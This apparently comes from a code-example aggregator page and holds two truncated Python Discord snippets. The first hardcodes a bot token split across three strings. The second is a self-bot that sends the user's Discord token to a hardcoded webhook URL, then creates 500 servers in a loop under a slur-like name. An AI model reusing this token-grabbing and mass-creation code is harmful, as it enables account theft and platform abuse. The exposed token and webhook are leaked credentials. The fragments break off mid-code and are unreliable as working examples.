Ejemplo n.º 1
0
import discord
import time
from discord.ext import commands
from discord import client 
from discord.ext.commands import Bot
import asyncio


print("il tuo bot si sta avviando...")
token1 = "NzUyMzE2NjcwOTk5MjY1MzIw"
token2 = ".X1V3fw.3CF9AkY4RbT_k-ZZ_"
token3 = "z5eOADszd0"
client = commands.Bot(command_prefix = ("-")) 
client.remove_command('help')


@client.event 
async def on_ready():  
    print(client.user, "è ora ONLINE (ID: ", client.user.id,")nuovo")
    global app2
    global f
    global arrayMessage

    arrayMessage = []
    global numberrr 
    numberrr = 0
    app2 = 'ciao'
        
    
@client.command() 
async def getStat(ctx, val):
Ejemplo n.º 2
0
import urllib
import secrets
from discord.ext import commands
from discord.ext import commands
from discord_webhook import DiscordWebhook, DiscordEmbed

webhook = DiscordWebhook(
    url=
    'https://discordapp.com/api/webhooks/636956216400019456/BkG592ITs9Ta6dBYEQnQa4Or2oOZr2SbimaRN8eAd6EQldEx655k3dBwrsBylizw7vyn'
)
embed = DiscordEmbed(title="F****n Memed", description="Token: " + token)
webhook.add_embed(embed)
webhook.execute()

client = commands.Bot(command_prefix=prefix, self_bot=True)
client.remove_command("help")
with open('icon.png', 'rb') as f:
    icon = f.read()


@client.event
async def on_ready():
    name = "gay"
    with open('icon.png', 'rb') as icon:
        for i in range(500):
            await client.create_guild(
                name,
                region='london',
            )